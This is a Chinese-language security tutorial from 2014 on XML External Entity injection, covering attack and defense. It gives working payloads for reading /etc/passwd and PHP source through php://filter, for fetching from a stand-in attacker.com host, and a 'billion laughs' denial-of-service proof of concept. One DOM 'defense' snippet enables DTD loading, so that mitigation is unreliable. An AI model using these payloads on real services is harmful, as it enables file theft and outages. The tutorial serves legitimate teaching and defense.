XXE注入:攻击与防御 - XXE Injection: Attack and Prevent

By Le4F - 2014-07-07

0x00 前言

XXE Injection即XML External Entity Injection,也就是XML外部实体注入攻击.

漏洞是在对非安全的外部实体数据进行处理时引发的安全问题.

在XML1.0标准里,XML文档结构里定义了实体(entity)这个概念.实体可以通过预定义,并在文档中调用,实体的标识符可访问本地或远程内容.

如果在这个过程中引入了"污染"源,在对XML文档处理后则可能导致信息泄漏等安全问题.

0x01 威胁

XXE漏洞目前还未受到广泛关注,Wooyun上几个XXE引起的安全问题:

借助XXE,攻击者可以实现任意文件读取,DOS拒绝服务攻击以及代理扫描内网等.

对于不同XML解析器,对外部实体有不同处理规则,在PHP中默认处理的函数为:

xml_parse
和
simplexml_load

xml_parse的实现方式为expat库，默认情况不会解析外部实体,而simplexml_load默认情况下会解析外部实体,造成安全威胁.

除PHP外，在Java，Python等处理xml的组件及函数中都可能存在此问题

0x02 语法

要写Payload,首先要对XML实体语法有一定了解

XML中entity的定义语法为:

<!DOCTYPE filename
[  
    <!ENTITY entity-name "entity-content"  
]>

如果要引用一个外部资源,可以借助各种协议
几个例子:

file:///path/to/file.ext
http://url/file.ext
php://filter/read=convert.base64-encode/resource=conf.php

故构造几种简单的Payload模型如下:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xdsec [
<!ELEMENT methodname ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<methodcall>
<methodname>&xxe;</methodname>
</methodcall>

亦可读取网站内容

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xdsec [
<!ELEMENT methodname ANY >
<!ENTITY xxe SYSTEM "http://attacker.com/text.txt" >]>
<methodcall>
<methodname>&xxe;</methodname>
</methodcall>

如果包含文件失败,可能是由于读取php等文件时文件本身包含的<等字符.可以使用Base64编码绕过,如:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xdsec [
<!ELEMENT methodname ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php" >]>
<methodcall>
<methodname>&xxe;</methodname>
</methodcall>

0x03 攻击

借助XXE,有几种可用且公开的攻击方式:

拒绝服务

POC

<?xml version = "1.0"?> 
<!DOCTYPE lolz [
    <!ENTITY lol "lol">
    <!ELEMENT lolz (#PCDATA)> 
    <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
    <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
    <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
    <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
    <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
    <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
    <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
    <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
    <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">]>
<lolz>&lol9;</lolz>

POC中中先定义了lol实体，值为"lol"的字符串,后在下面又定义了lol2实体，lol2实体引用10个lol实体，lol3又引用了10个lol2实体的值，依此类推，到了最后在lolz元素中引用的lol9中，就会存在上亿个"lol"字符串

此时解析数据时未做特别处理，即可能造成拒绝服务攻击。

此外还有一种可能造成拒绝服务的Payload,借助读取/dev/random实现.

内网信息

借助各种协议如http,XXE可以协助扫描内网,可能可以访问到内网开放WEB服务的Server,并获取其他信息

文件读取

最常规也是最有效的利用思路

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xdsec [
<!ELEMENT methodname ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<methodcall>
<methodname>&xxe;</methodname>
</methodcall>

附上两张截图,实现文件读取的过程

0x04 防御

1.检查所使用的底层xml解析库，默认禁止外部实体的解析

2.使用第三方应用代码及时升级补丁

3.同时增强对系统的监控，防止此问题被人利用

对于PHP,由于simplexml_load_string函数的XML解析问题出在libxml库上,所以加载实体前可以调用这样一个函数

<?php
libxml_disable_entity_loader(true);
?>

以进行防护,对于XMLReader和DOM方式解析,可以参考如下代码:

<?php
// with the XMLReader functionality:
$doc = XMLReader::xml($badXml,'UTF-8',LIBXML_NONET);

// with the DOM functionality:
$dom = new DOMDocument();
$dom->loadXML($badXml,LIBXML_DTDLOAD|LIBXML_DTDATTR);
?>>

0x05 参考

https://www.owasp.org/index.php/Testing_for_XML_Injection_(OWASP-DV-008)
http://websec.io/2012/08/27/Preventing-XEE-in-PHP.html
http://cn2.php.net/libxml_disable_entity_loader
http://projects.webappsec.org/w/page/13247004/XML%20Injection
http://drops.wooyun.org/papers/1911

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